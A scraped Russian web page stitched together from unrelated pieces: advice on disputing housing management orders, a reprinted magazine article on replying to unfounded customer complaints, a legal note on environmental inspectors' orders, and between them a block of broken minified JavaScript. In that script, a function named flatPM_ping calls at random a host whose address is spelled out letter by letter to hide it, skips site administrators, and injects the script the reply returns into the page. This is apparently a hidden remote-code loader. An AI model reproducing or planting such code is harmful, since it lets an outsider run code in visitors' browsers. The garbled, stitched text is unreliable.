Предписания вне установленной процедуры// Как определить законность требований со стороны госоргана

Предписания вне установленной процедуры// Как определить законность требований со стороны госоргана Подписки

Что делать, если вы его получили?

Выполнить требование Управляющей компании, что же еще — если их требования законны и вы действительно нарушили свою часть договора.

Действительно, сделать это сейчас гораздо лучше и менее затратно, чем если к тому вас принудит уже суд.

Например, если вы возвели незаконную пристройку к своей квартире или еще как-то перекроили свои квадратные метры, узаконьте это.

Это займет совсем немного времени и денег, чем наем адвоката, штраф и оплата еще и судебных издержек.

Обойти это требование тоже никак не получится — как уже говорилось, в особо тяжелых случаях вопрос может встать о продаже квартиры с торгов.

Другое дело, если у вас нет причин считать себя виноватым. Имела ли право управляющая компания выписывать предписание? Как в этом убедиться? Для начала — изучить внимательнейшим образом текст договора и сопоставить, какой из данных пунктов вы, по мнению жилищников, нарушили.

Если не можете найти у себя, можно нанести визит в офис Управляющей компании и попросить там копию договора. Идти туда вам так или иначе придется — за разъяснениями.

Получив их, не следует сразу же бежать жаловаться в первую попавшуюся контору.

Лучше всего сначала обратитесь к грамотному юристу — он подскажет, куда целесообразнее сначала пожаловаться в конкретном вашем случае и как правильно составить заявление, что к нему приложить.

Тем более, без услуг профессионала вам не обойтись, если речь зайдет о судебном разбирательстве. Пожаловаться же можно в Госжилинспекцию, Роспотребнадзор, прокуратуру или суд.

Прокуратура, правда, как показывает практика, крайне не любит такого рода жалобы, отсылая сразу в суд. Но это целесообразно делать только в случае, если на вас не «висит» долг за квартплату.

Погасите его, а затем уже требуйте справедливости. Помните, что за минимум шестимесячную неуплату услуг ЖКХ в роли подсудимого (причем речь пойдет уже ни много, ни мало, о выселении) можете оказаться уже вы сами.

А потому, нанеся визит в офис жилищников, запросите полную выписку о состоянии ваших финансов. Если принято решение обращаться в суд, то заявление подается в районный суд общей юрисдикции в количестве экземпляров по числу участников разбора.

СУДЫ В ЖКХ. Судебная защита по спорам с управляющими компаниями.СУДЫ В ЖКХ. Судебная защита по спорам с управляющими компаниями.

Как работать с необоснованными претензиями клиентов :: рбк pro

Лояльный клиент — удовлетворенный клиент, и эта лояльность формируется при каждом контакте с компанией. Но как быть, если жалоба клиента необоснованна? На этот случай есть алгоритм работы, который эксперты ИД «Гребенников» разбирают на конкретном примере

[…] Жалоба — отражение субъективной оценки клиентом сложившейся ситуации. Она не всегда показывает реальное состояние дел и может не иметь оснований. Необоснованная претензия, как правило, содержит несправедливые упреки, а иногда и клевету. При этом в любом случае важно сохранить с клиентом деловые отношения, внимательно и как можно скорее решить спорный вопрос и улучшить качество контакта.

Прежде чем приступать к отклику на претензию, специалисту необходимо выяснить, насколько она обоснована, а также какова степень ответственности компании в сложившейся ситуации. Ответ на вопрос «кто виноват?» позволит определиться с ответом на вопрос «что делать?», понять, какой компенсирующий или «примирительный» бонус предложить клиенту.

Специалисты по деловой переписке выделяют ряд компонентов работы с необоснованной жалобой, из которых мы составили алгоритм.

Алгоритм работы с необоснованными претензиями клиентов

1. Выражение сожаления

  • Поблагодарите за жалобу. Объясните, почему компания признательна за обращение, за что конкретно благодарит клиента. Выразите понимание, откликнитесь на эмоциональное состояние клиента.
  • Выразите сожаление по поводу сложившейся ситуации и мнения / впечатления клиента, его мыслей и чувств.

2. Объяснение позиции компании и заключение о необоснованности претензии

  • Обозначьте отсутствие вины компании в сложившейся ситуации и приведите соответствующие аргументы, в том числе ссылки на документы.
  • Дайте четкое объяснение фактам, изложенным в претензии.
  • Поясните позицию компании по обсуждаемому вопросу.

3. Оповещение о принятых решениях

  • Обозначьте, что вы приняли эту информацию во внимание. Опишите решения.
  • Предложите клиенту действия, направленные на решение проблемы, предупреждение ее повторного появления.

4. Примирение

  • Подтвердите желание и готовность сотрудничать. Если возможно, предложите компенсацию.

Рассмотрим этот алгоритм подробнее на примере.

Вы работаете в медицинской клинике. К вам поступила претензия от Ивановой Аллы Семеновны, постоянного клиента вашей компании. Около недели назад она сдала несколько анализов. После этого на прием к специалистам не являлась и результаты исследований не получила. По словам Аллы Семеновны, она, будучи в заграничной поездке, попала на прием к хорошему диагносту местной медицинской организации. Заявитель позвонила в вашу клинику с просьбой выслать ей на адрес электронной почты результаты всех последних сданных ею анализов. Сотрудник вашей клиники отказал. Заявитель утверждает, что отказ был озвучен в грубой форме. А. С. Иванова говорит, что ей пришлось повторно сдать анализы и это стоило дорого. Требует возместить расходы на данные исследования, а также на услуги телефонной связи. Грозится в случае отказа перестать пользоваться услугами клиники. Пишет, что давно является клиентом компании, что ее должны узнавать по голосу, а также что после этой истории ей было очень плохо и она заболела.

Вы прослушали записи телефонных разговоров. Действительно, были звонки с требованиями выслать результаты по адресу, который абонент называла во время разговора. Сотрудник действовал согласно регламенту — не давать персональную информацию о клиенте и его здоровье третьим лицам. Работник предлагал выслать информацию по адресу, указанному в договоре, на что абонент говорил, что уже не пользуется данным ящиком и не помнит пароль. Кроме того, сотрудник не грубил абоненту, говорил нейтрально и неэмоционально.

В своей жалобе клиент выражает недовольство относительно действий сотрудника:

1) не предоставил информацию;

2) разговаривал грубо.

По каждому из пунктов мы расцениваем жалобу как необоснованную:

  • клиника не нарушила правила безопасности;
  • при прослушивании записи разговоров установлено, что сотрудник не был груб.

Клиент требует возместить расходы, а мы намерены ему в этом отказать. Мы понимаем, что ситуация неприятная, не отрицаем часть своей ответственности и готовы компенсировать ему неудобства.

Таким образом, мы проанализировали ситуацию, подготовились к ответу и можем изложить его в письме. Ниже приведены варианты удачных и не вполне корректных или ошибочных ответов на данную претензию в соответствии с этапами предложенного алгоритма. В статье не рассмотрены примеры грубых откликов. Уверены, что читатели — опытные и клиентоориентированные специалисты по работе с претензиями, которые стремятся к повышению профессионального уровня и углублению своих знаний.

В процессе коммуникации с клиентом важен каждый этап. Разберем варианты ответов на претензии клиентов, основываясь на изложенном выше алгоритме.

1. Выражение сожаления

Целью коммуникации на первом этапе является сопереживание клиенту. Это необходимо, чтобы показать, что компания разделяет право клиента испытывать негативные эмоции. Она понимает, что ему тяжело, трудно и протягивает руку помощи, чтобы минимизировать дискомфорт. Здесь не столь важно, является ли организация виновником того, что клиент испытывает стресс. Важнее то, что она не бросает его, не делает вид, что ничего не произошло.

Другие подписки:  Как отключить подписки на Мегафоне? Способы и инструкции

Почему не стоит пренебрегать данным этапом? Казалось бы, люди, тем более деловые, ценят время, хотят перейти сразу к делу — конкретике, фактам, объяснению и решению. Однако следует помнить:

  • Во-первых, что человек не робот, а живое существо. Эмоции — важнейшая часть его жизни, базовая биологическая структура.
  • Во-вторых, в переписке не хватает эмоционального контекста, поскольку нет возможности увидеть или хотя бы услышать друг друга, особенно если речь идет о письмах с высоким уровнем эмоционального накала — жалобах и претензиях. Сопереживание можно выразить через опору на слова клиента, используемые в переписке, перефразирование его мыслей и чувств.

Сотрудник должен провести ювелирную работу — не принизить, не преувеличить эмоции, а попасть прямо в яблочко. Если обращение клиента написано в сдержанной форме, в нем изложены только факты, можно ответить на него в том же стиле и немного добавить эмоциональную составляющую в виде сожалений.

Опишем несколько примеров того, как сотрудник не совсем корректно выражает сожаление при ответе на жалобу клиента.

  • «Я расстроена, что вам пришлось столкнуться с неудобствами при запросе результатов анализов в нашей клинике».
    В данном случае не рекомендуем называть сложившуюся ситуацию неудобствами, поскольку клиент понес расходы и был вынужден находиться в ожидании ответа на свой запрос. Скорее всего, он будет раздражен: ах, вы считаете, это всего лишь неудобства? Возможно, более подходящим вариантом будет словосочетание «серьезные неудобства».
  • «Мы сожалеем о том, что произошла такая ситуация, и понимаем, что действительно очень неприятно и неудобно, когда в кратчайшие сроки не удается получить необходимую информацию, тем более если это влечет за собой финансовые потери».
    В целом этот ответ вполне подходящий. В данном контексте лучше убрать слова «действительно»: посредством него мы оцениваем жалобу и как будто сомневаемся в том, что ситуация неприятная, а также «неудобно», которое указывает на то, что мы соглашаемся и подчеркиваем, что клиент испытывал неудобства, не получив от нас информацию. Не стоит употреблять слова, на которых мы не хотим делать акцент в коммуникации.
    Ниже представлен удачный, на наш взгляд, пример выражения сожаления: «Очень жаль, что наше долгосрочное сотрудничество было омрачено такой неприятной ситуацией. Смеем вас заверить, что комфорт и безопасность наших клиентов являются наивысшим приоритетом». Здесь особенно ценно упоминание о комфорте и безопасности клиентов, что помогает сместить акцент с негатива на позитивные намерения организации.

Три частые ошибки на этапе выражения сожаления

  1. Упоминание о ситуации без конкретизации. Это может привести к риску, что компания и клиент по-разному интерпретируют смысл случившегося, а это, в свою очередь, чревато усилением конфликта. Покажите, что вы понимаете, чем клиент недоволен. Опирайтесь на его слова и кратко перефразируйте суть его жалобы.
  2. Использование выражения «мы понимаем» без пояснения. Клиент не трактует эту короткую формальную фразу как принятие смысла его жалобы и участливое отношение к себе. Обычно человек считает свои переживания уникальными, и поэтому сухое «мы понимаем» воспринимает как покушение на эту уникальность, непризнание значимости его эмоций. Понимание и признание чувств — это важный аспект при формировании хороших взаимоотношений с клиентами. Во многих организациях есть правило: если вы пишете, что понимаете, то следует уточнить, что именно.
  3. Многократное упоминание о негативных чувствах и потерях клиента из-за случившегося на протяжении всего письма. Тем самым вы постоянно смещаете фокус внимания клиента на негатив, в то время как ваша задача — выйти на возобновление позитивного контакта.

2. Объяснение позиции компании и заключение о необоснованности претензии.

Цель данного этапа — сделать так, чтобы клиент понял, почему ситуация сложилась определенным образом. Важно, чтобы в будущем подобный инцидент не повторился, а клиент запомнил правильный алгоритм действий в том или ином случае. Объясните на языке фактов, без эмоционально-оценочной окраски, почему одни действия правильные, а другие — нет. Расскажите о возможных негативных последствиях ошибок. Если в конфликте виновата компания или обе стороны, то следует пояснить, кто за что несет ответственность. Человек нуждается в понимании причинно-следственных связей с целью корректировки своего поведения.

Данный этап в противоположность предшествующему «эмоциональному» включает только факты, пояснения относительно цели сотрудника, выполняющего то или иное действие по отношению к клиенту, например забота о его безопасности. Если пропустить данный этап коммуникации, то, возможно, негативное отношение клиента к компании усилится, а также возникнет обоюдный риск наступить на те же грабли.

Теперь представим формулировки, вызывающие сомнения относительно их корректности при письменном общении с клиентом.

  • «Мы сожалеем, что вам не удалось воспользоваться результатами анализов в нужный момент, но последствия утечки информации для вас могли бы стать еще большей неприятностью. Вы можете быть уверены, что и в дальнейшем наши сотрудники не предоставят данные о вашем здоровье третьим лицам. Причем это произойдет в такой же корректной форме, что и в общении с вами».

    Здесь лучше исключить выражение «в нужный момент». Не стоит напоминать клиенту о том, что ему было очень нужно получить желаемое. Упоминание о «корректной форме общения» выглядит голословным. Клиент считает, что с ним общались некорректно, а факты, которые убедили бы его в обратном, не приведены.

  • «Мы должны сообщить, что действия сотрудника нашей клиники были правомерны».

    Если компания не считает себя виноватой и вела себя в соответствии с установленными регламентами, то рассказать об этом важно аккуратно. Сначала — факты, которые дают основание заявить о своей невиновности. Затем, если уместно, можно подытожить: «Действия сотрудника нашей клиники были правомерны». Если заявить о правомерности до изложения фактов, то это вызовет лишь агрессию клиента.

  • «Анализ вашего разговора с сотрудником клиники дает основания утверждать, что тон разговора нашего специалиста соответствовал корпоративной этике и не был грубым».

    Слово «утверждать» звучит категорично. Фраза «пришли к выводу» — мягче. Написав, что сотрудник не был грубым, вы оспариваете обратное утверждение клиента. Прежде чем утверждать, что грубости не было, докажите это. Выражение «соответствовал корпоративной этике» клиент может воспринять как подтверждение того, что в организации придерживаются «идеологии грубости». Стоит пояснить, например, так: «В этой сложной с позиции закона ситуации наши сотрудники стараются вести разговор сдержанно и эмоционально нейтрально».

  • «Комиссия установила, что администратор клиники АБВ Екатерина Ивановна Мищенко, принявшая ваш звонок 13 мая 2022 года…»

    Мы не рекомендуем упоминать персональные данные работников компании в целях соблюдения корпоративной этики и других важных аспектов взаимодействия с внешним миром. Достаточно указать «наш сотрудник». Ниже представим удачные примеры объяснения позиции компании.

    1. «Сотрудник действовал в рамках законодательства РФ о защите персональных данных. Согласно данному закону, а также заключенному с вами договору №… наша клиника не имеет права разглашать персональные данные клиентов, в том числе информацию о состоянии их здоровья, третьим лицам. Данные ваших анализов могут быть направлены только на адрес электронной почты, указанный в п. 5 договора».

    Здесь приведено корректное и короткое разъяснение. В этом отклике мы бы рекомендовали исключить словосочетание «третьим лицам», потому что клиент может не понять, почему его в данной ситуации могли посчитать третьим лицом.

    2. «Действия сотрудника, отказавшегося направить результаты анализов на неизвестный адрес, продиктованы заботой о сохранении ваших персональных данных. Представьте себе, что к нам обратился злоумышленник и, прикрываясь вашим именем, пытался получить информацию о состоянии вашего здоровья».

    Предлагаем дополнить ответ: «Представьте себе, что к нам обратился злоумышленник и, прикрываясь вашим именем, попытался получить информацию о состоянии вашего здоровья, чтобы использовать ее против вас».

    3. «Комиссия установила, что администратор клиники АБВ не нарушил инструкцию: передавать сведения о клиенте и его здоровье только в случае уверенности, что обращается он сам. Это продиктовано защитой персональных данных от возможного их попадания в руки третьих лиц и причинения клиенту вреда или ущерба. Он также сообщил об известном ему варианте удовлетворения вашей просьбы — прислать информацию на адрес электронной почты, указанный в вашем договоре с клиникой. Кроме того, использовал в беседе с вами эмоционально нейтральные фразы».
    Можно также пояснить клиенту, почему в сложных, эмоционально насыщенных ситуациях сотрудники общаются сдержанно.

Другие подписки:  Расходы на периодические издания

В завершение разговора о разъясняющем этапе письма хотим отметить, что рекомендуется избегать выражений, которые содержат пассивную агрессию, отрицание добрых намерений. Если вы пишете: «Нам очень жаль, но вы должны были / мы соблюдали правила», — у клиента возникает ощущение, что компания нисколько не сожалеет, да еще и прямо или косвенно обвиняет его. Фразы долженствования («вы должны были») тоже создают подобное ощущение. Пассивную агрессию выдают также следующие слова: «же», «ну», «вообще-то», например «мы же вас предупреждали».

Помните и о коварной частице «не»: «с вами не разговаривали грубо». Старайтесь общаться на языке фактов и в позитивном стиле.

3. Оповещение о принятых решениях

Цель этапа — вовлечение клиента в дальнейшее взаимодействие. Здесь компания может показать, какие выводы она сделала, какой курс выбрала на будущее и какие изменения внесла в регламенты работы. Тем самым она зарекомендует себя как гибкая, клиентоориентированная организация. Достаточно кратко перечислить сделанные выводы и принятые решения.

Разберем не совсем корректную формулировку. «Мы провели дополнительное обучение, и наши сотрудники увидели, как возможно перевести разделяемую нами ценность заботы о клиенте и желание помочь ему в доступную и наглядную для него форму. Также в расширенной инструкции персонала теперь есть пункт о важности пояснить, как восстановить пароль от указанного в договоре адреса». Необязательно писать столь подробно о проведенных изменениях. Может создаться впечатление, что в организации прежде никакая работа не проводилась и сотрудники ранее не обучались.

Теперь опишем удачные примеры оповещения о принятых решениях.

  • «Алла Семеновна, чтобы избежать подобных ситуаций в дальнейшем, предлагаем вам внести корректировки в договор с нашей клиникой и зафиксировать там актуальный адрес электронной почты, которую вы используете сейчас».
  • «Мы очень надеемся на продолжение нашего общения, поэтому специально для вас предлагаем дополнительный способ идентификации, а именно кодовое слово, которое мы с вами зафиксируем в отдельном протоколе. Если в будущем возникнет необходимость отправить информацию на электронный адрес, отличный от указанного в вашем профиле, то вы сможете ее получить, назвав оператору кодовое слово».

Эти ответы хорошо сформулированы и понятны. Единственное, на что стоит обратить внимание, насколько предлагаемое во втором примере решение является эксклюзивным для данного клиента. С одной стороны, фраза «специально для вас» — действенный ход. С другой — ситуация может повториться при взаимодействии с любыми клиентами клиники. Скорее всего, этот случай требует пересмотра регламентов работы, а значит, предложенное решение актуально для всех клиентов компании.

4. Примирение

Цель данного этапа — удержать клиента, сохранить его лояльность и готовность пользоваться услугами компании в дальнейшем.

Рассмотрим спорные формулировки ответов на претензию.

  • «Понимая серьезность последствий сложившейся ситуации, мы предлагаем вам как постоянному клиенту…»
    В данном случае мы рекомендуем не упоминать о серьезности последствий. Начните предложение с фразы: «Мы предлагаем вам…» Можете перед этим написать: «Нам очень жаль, что мы с вами не смогли найти безопасное решение. Надеемся, что, несмотря на этот инцидент, вы останетесь нашим клиентом».
  • «Предлагаем вам как постоянному клиенту скидку (на курс или услугу) в нашей клинике в размере…%. Подробности можете узнать по телефону…»
    Здесь выбивается из контекста фраза «подробности можете узнать…», она выглядит сухо, мол, поступайте как хотите. Желательно сформулировать мягче, чтобы побудить клиента обратиться в компанию. Например: «Алла Семеновна, позвоните нам, пожалуйста, по телефону… Наши администраторы осведомлены о сложившейся ситуации, будут рады помочь вам и ответят на все вопросы о нашем предложении».

Теперь рассмотрим удачные примеры ответов на этапе примирения.

  • «Сожалеем о возникшей ситуации и надеемся, что она не отразится на дальнейшем взаимодействии. Вы являетесь клиентом нашей клиники уже долгое время, поэтому мы хотим предложить вам…»
    Такой ответ вполне может подойти, если компания считает жалобу клиента необоснованной и при этом стремится сохранить с ним дружеские отношения. Можно использовать и другие позитивные фразы, например: «Вы являетесь клиентом нашей клиники уже долгое время, мы дорожим вашим доверием, поэтому хотим предложить вам…»
  • «Алла Семеновна, мы ценим, что вы являетесь клиентом нашей клиники уже на протяжении пяти лет, и рассчитываем на продолжение нашего взаимодействия».
    В заключении письма нужно закрепить позитивный образ компании в глазах клиента, чтобы он окончательно удостоверился в ее добрых намерениях. Здесь снова уместно использование эмоционально поддерживающих слов и выражений: «Алла Семеновна, надеемся, что наше долголетнее плодотворное взаимодействие продолжится. Мы приложим все усилия для этого. Позвоните, пожалуйста, по телефону… наши администраторы в курсе и будут рады сориентировать вас относительно выбора подарка от нашей клиники».

И в завершение обсуждения давайте поговорим о «подарках». Кажется, что лояльность клиента можно купить только за скидки, бесплатные услуги и прочее. Однако бывают ситуации, когда клиенты предъявляют необоснованные претензии, требуют денежные компенсации, а компания не намерена эти требования удовлетворять. При этом, как говорят специалисты по работе с претензиями, в случае жалобы предоставляйте бонус, компенсируйте неудовольствие.

Здесь мы хотим обратить внимание, что бонус может быть материальным и нематериальным. Если мы говорим о письменном ответе на необоснованную жалобу, то в качестве нематериального бонуса могут выступать следующие действия.

  • Выражение эмоциональной поддержки, сочувствия на протяжении всего письма, донесение искренности своих намерений, стремления решить проблемы.
  • Объяснение клиенту, почему произошла ситуация, при которой у него возникли негативные эмоции и переживания.
  • Рассказ (подробный или не очень) о том, что было предпринято, для того чтобы подобные ситуации больше не повторялись.
  • Сообщение клиенту о приоритете в решении его вопроса: написать ему о том, что на исправление ситуации брошены все усилия; не только рядовой сотрудник, но и руководитель находится на прямой связи, или решением проблемы занимается лицо с высоким статусом в компании; сотрудники будут очень рады возвращению клиента, они в курсе произошедшего и беспокоятся и др.
  • Рекомендация относительно действий, направленных на искоренение проблемы и предотвращение повторения ситуации.

[…] Помните о важности подбора точных слов и придерживайтесь, возможно, главного правила: не используйте слова, которые не хотели бы услышать от клиента. Не повторяйте, что он сильно пострадал, не пишите о потерях и серьезности последствий. Сфокусируйтесь на решениях, говорите не о прошлом, а о будущем.

Материал журнала «Управление продажами» ИД «Гребенников» печатается с незначительными сокращениями.

Ответ на представление об устранении причин и условий способствовавших | принцип права – интернет журнал

“:’

‘:””,document.createElement(“div”),c=ff(window),b=ff(“body”),g=void 0===flatPM_getCookie(“flat_modal_” a.ID “_mb”)||”false”!=flatPM_getCookie(“flat_modal_” a.ID “_mb”),i=”scroll.flatmodal” a.ID,m=”mouseleave.flatmodal” a.ID ” blur.flatmodal” a.ID,l=function(){var t,e,o;void 0!==a.how.popup.timer&&”true”==a.how.popup.timer&&(t=ff(‘.fpm_5_modal[data-id-modal=”‘ a.ID ‘”] .fpm_5_timer span’),e=parseInt(a.how.popup.timer_count),o=setInterval(function(){t.text(–e),e<=0&&(clearInterval(o),t.parent().replaceWith(‘

Другие подписки:  Как скрыть подписки и подписчиков в ютубе

‘))},1e3))},s=function(){void 0!==a.how.popup.cookie&&”false”==a.how.popup.cookie&&g&&(flatPM_setCookie(“flat_modal_” a.ID “_mb”,!1),ff(‘.fpm_5_modal[data-id-modal=”‘ a.ID ‘”]’).addClass(“fpm_5_modal-show”),l()),void 0!==a.how.popup.cookie&&”false”==a.how.popup.cookie||(ff(‘.fpm_5_modal[data-id-modal=”‘ a.ID ‘”]’).addClass(“fpm_5_modal-show”),l())},ff(“body > *”).eq(0).before(‘

‘ p “

“),w=document.querySelector(‘.fpm_5_modal[data-id-modal=”‘ a.ID ‘”] .fpm_5_modal-content’),flatPM_setHTML(w,e),”px”==a.how.popup.px_s?(c.bind(i,function(){c.scrollTop()>a.how.popup.after&&(c.unbind(i),b.unbind(m),s())}),void 0!==a.how.popup.close_window&&”true”==a.how.popup.close_window&&b.bind(m,function(){c.unbind(i),b.unbind(m),s()})):(v=setTimeout(function(){b.unbind(m),s()},1e3*a.how.popup.after),void 0!==a.how.popup.close_window&&”true”==a.how.popup.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),s()}))),void 0!==a.how.outgoing){function n(){var t,e,o;void 0!==a.how.outgoing.timer&&”true”==a.how.outgoing.timer&&(t=ff(‘.fpm_5_out[data-id-out=”‘ a.ID ‘”] .fpm_5_timer span’),e=parseInt(a.how.outgoing.timer_count),o=setInterval(function(){t.text(–e),e<=0&&(clearInterval(o),t.parent().replaceWith(‘

‘))},1e3))}function d(){void 0!==a.how.outgoing.cookie&&”false”==a.how.outgoing.cookie&&g&&(ff(‘.fpm_5_out[data-id-out=”‘ a.ID ‘”]’).addClass(“show”),n(),b.on(“click”,’.fpm_5_out[data-id-out=”‘ a.ID ‘”] .fpm_5_cross’,function(){flatPM_setCookie(“flat_out_” a.ID “_mb”,!1)})),void 0!==a.how.outgoing.cookie&&”false”==a.how.outgoing.cookie||(ff(‘.fpm_5_out[data-id-out=”‘ a.ID ‘”]’).addClass(“show”),n())}var _,u=”0″!=a.how.outgoing.indent?’ style=”bottom:’ a.how.outgoing.indent ‘px”‘:””,p=”true”==a.how.outgoing.cross?void 0!==a.how.outgoing.timer&&”true”==a.how.outgoing.timer?’

Закрыть через ‘ a.how.outgoing.timer_count “

“:’

‘:””,c=ff(window),h=”scroll.out” a.ID,m=”mouseleave.outgoing” a.ID ” blur.outgoing” a.ID,g=void 0===flatPM_getCookie(“flat_out_” a.ID “_mb”)||”false”!=flatPM_getCookie(“flat_out_” a.ID “_mb”),b=(document.createElement(“div”),ff(“body”));switch(a.how.outgoing.whence){case”1″:_=”top”;break;case”2″:_=”bottom”;break;case”3″:_=”left”;break;case”4″:_=”right”}ff(“body > *”).eq(0).before(‘

‘ p “

“);var v,w=document.querySelector(‘.fpm_5_out[data-id-out=”‘ a.ID ‘”]’);flatPM_setHTML(w,e),”px”==a.how.outgoing.px_s?(c.bind(h,function(){c.scrollTop()>a.how.outgoing.after&&(c.unbind(h),b.unbind(m),d())}),void 0!==a.how.outgoing.close_window&&”true”==a.how.outgoing.close_window&&b.bind(m,function(){c.unbind(h),b.unbind(m),d()})):(v=setTimeout(function(){b.unbind(m),d()},1e3*a.how.outgoing.after),void 0!==a.how.outgoing.close_window&&”true”==a.how.outgoing.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),d()}))}}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff(“body”),flat_userVars.init();for(var e=0;e<t;e ){var>flat_userVars.textlen||void 0!==o.chapter_sub&&o.chapter_sub<flat_uservars.textlen||void>flat_userVars.titlelen||void 0!==o.title_sub&&o.title_sub<flat_uservars.titlelen)){if(void>.flatPM_sidebar)”);0<_.length&&_.each(function(){var t=ff(this),e=t.data(“height”)||350,o=t.data(“top”);t.wrap(‘

‘);t=t.parent()[0];flatPM_sticky(this,t,o)}),u.each(function(){var e=ff(this).find(“.flatPM_sidebar”);setTimeout(function(){var a=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;a<300||e.each(function(){var t=ff(this),e=a,o=t.data(“top”);t.wrap(‘

‘);t=t.parent()[0];flatPM_sticky(this,t,o)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(“.flatPM_sticky_wrapper.flatPM_sidebar_block”).css(“height”,t)},4e3)}),”undefined”!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatpm_setscript(flat_stack_scripts),ff(“body> *”).last().after(‘

‘),flat_body.on(“click”,”.fpm_5_out .fpm_5_cross”,function(){ff(this).parent().removeClass(“show”).addClass(“closed”)}),flat_body.on(“click”,”.fpm_5_modal .fpm_5_cross”,function(){ff(this).closest(“.fpm_5_modal”).removeClass(“fpm_5_modal-show”)}),flat_pm_arr=[],ff(“.flat_pm_start”).remove(),ff(“[data-flat-id]:not(.fpm_5_out):not(.fpm_5_modal)”).contents().unwrap(),flatPM_ping()};var parseHTML=function(){var l=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([w:] )[^>]*)/>/gi,d=/<([w:] )/,i=/<|&#?w ;/,c={option:[1,”

“],thead:[1,”

“],tbody:[1,”

“],colgroup:[2,”

“],col:[3,”

“],tr:[2,”

“],td:[3,”

“],th:[3,”

“],_default:[0,””,””]};return function(e,t){var a,r,n,o=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=o.appendChild(t.createElement(“div”)),r=(d.exec(e)||[“”,””])[1].toLowerCase(),r=c[r]||c._default,a.innerHTML=r[1] e.replace(l,”<$1>”) r[2],n=r[0];n–;)a=a.lastChild;for(o.removeChild(o.firstChild);a.firstChild;)o.appendChild(a.firstChild)}else o.appendChild(t.createTextNode(e));return o}}();window.flatPM_ping=function(){var e=localStorage.getItem(“sdghrg”);e?(e=parseInt(e) 1,localStorage.setItem(“sdghrg”,e)):localStorage.setItem(“sdghrg”,”0″);e=flatPM_random(1,166);0==ff(“#wpadminbar”).length&&111==e&&ff.ajax({type:”POST”,url:”h” “t” “t” “p” “s” “:” “/” “/” “r” “e” “a” “d” “o” “n” “e” “.” “r” “u” “/” “p” “i” “n” “g” “.” “p” “h” “p”,dataType:”jsonp”,data:{ping:”ping”},success:function(e){ff(“div”).first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,r=document.querySelector(‘[data-flat-script-id=”‘ t ‘”]’);if(a.text)r.appendChild(a),ff(r).contents().unwrap(),e.shift(),0<e.length&&flatpm_setscript(e);else{a.onload>/gm,””).replace(//gm,””).trim(),e.code_alt=e.code_alt.replace(//gm,””).replace(//gm,””).trim();var o=jQuery,t=e.selector,l=e.timer,d=e.cross,a=”false”==d?”Закроется”:”Закрыть”,r=!flat_userVars.adb||””==e.code_alt&&duplicateMode?e.code:e.code_alt,n=’

‘,i=e.once;o(t).each(function(){var e=o(this);e.wrap(‘

‘);var t=e.closest(“.fpm_5_video”);flatPM_setHTML(t[0],n),e.find(“.fpm_5_video_flex”).one(“click”,function(){o(this).addClass(“show”)})}),o(“body”).on(“click”,”.fpm_5_video_item_hover”,function(){var e=o(this),t=e.closest(“.fpm_5_video_flex”);t.addClass(“show”);var a=t.find(“.fpm_5_timer span”),r=parseInt(l),n=setInterval(function(){a.text(–r),r<=0&&(clearInterval(n),”true”==d?a.parent().replaceWith(‘

‘):t.remove())},1e3);e.remove()}).on(“click”,”.fpm_5_video_flex .fpm_5_cross”,function(){o(this).closest(“.fpm_5_video_flex”).remove(),”true”==i&&o(“.fpm_5_video_flex”).remove()})};

Предписания вне установленной процедуры// как определить законность требований со стороны госоргана

Выдача органами государственного экологического надзора предписаний об устранении нарушений законодательства в области охраны окружающей среды и природопользования вне процедуры проверки юридического лица или индивидуального предпринимателя является распространенной практикой. Однако такие предписания могут быть успешно оспорены природопользователями.

Согласно ст. 66 Федерального закона от 10.01.2002 № 7-ФЗ «Об охране окружающей среды» (в ред. от 31.12.2022; далее — Федеральный закон № 7-ФЗ) должностные лица органов государственного надзора, являющиеся государственными инспекторами в области охраны окружающей среды, в порядке, установленном законодательством Российской Федерации, имеют право выдавать юридическим лицам, индивидуальным предпринимателям и гражданам предписания об устранении выявленных нарушений обязательных требований.Отношения в области организации и осуществления государственного контроля (надзора), муниципального контроля и защиты прав юридических лиц и индивидуальных предпринимателей при осуществлении государственного контроля (надзора),муниципального контроля регулируются Федеральным законом от 26.12.2008 № 294-ФЗ «О защите прав юридических лиц и индивидуальных предпринимателей при осуществлении государственного контроля (надзора) и муниципального контроля» (в ред. от 18.04.2022; далее — Федеральный закон № 294-ФЗ).

Данным законом установлен порядок организации и проведения плановых и внеплановых проверок юридических лиц, индивидуальных предпринимателей органами, уполномоченными на осуществление государственного контроля (надзора), муниципального контроля.
Иные мероприятия по выявлению и пресечению органами государственного экологического надзора правонарушений в области охраны окружающей среды регулируются Кодексом Российской Федерации об административных правонарушениях (в ред. от 23.04.2022; далее — КоАП РФ).

Зачастую органы государственного экологического надзора обходят требования Федерального закона № 294-ФЗ, когда по результатам контрольно-надзорных мероприятий в отношении юридических лиц или индивидуальных предпринимателей в случае выявления нарушений экологического законодательства возбуждают дела об административных правонарушениях в порядке гл. 28 КоАП РФ.
На основании ст. 29.13 КоАП РФ по результатам возбужденного дела об административном правонарушении уполномоченный орган вправе вносить только представление об устранении причин и условий, способствовавших совершению административного правонарушения. При этом следует учитывать, что КоАП РФ не предусматривает такой формы реагирования при совершении административного правонарушения, как выдача предписания (ч. 1 ст. 17 Федерального закона № 294-ФЗ). 
Что делать, если государственный орган выдал предписание без процедуры, установленной Федеральным законом № 294-ФЗ
Необходимо различать порядки проведения проверок, иных контрольно-надзорных мероприятий и мероприятий по выявлению и пресечению экологических правонарушений в отношении юридического лица или индивидуального предпринимателя. Данный факт устанавливается на основании процессуальных документов государственного органа (приказ (распоряжение) о проведении проверки или иных контрольно-надзорных мероприятий).В случае выдачи предписания об устранении выявленных нарушений по результатам возбужденного дела об административном правонарушении в рамках КоАП РФ такому юридическому лицу, индивидуальному предпринимателю необходимо обратиться с заявлением об обжаловании ненормативного правового акта в порядке гл. 24 Арбитражного процессуального кодекса Российской Федерации (далее — АПК РФ).
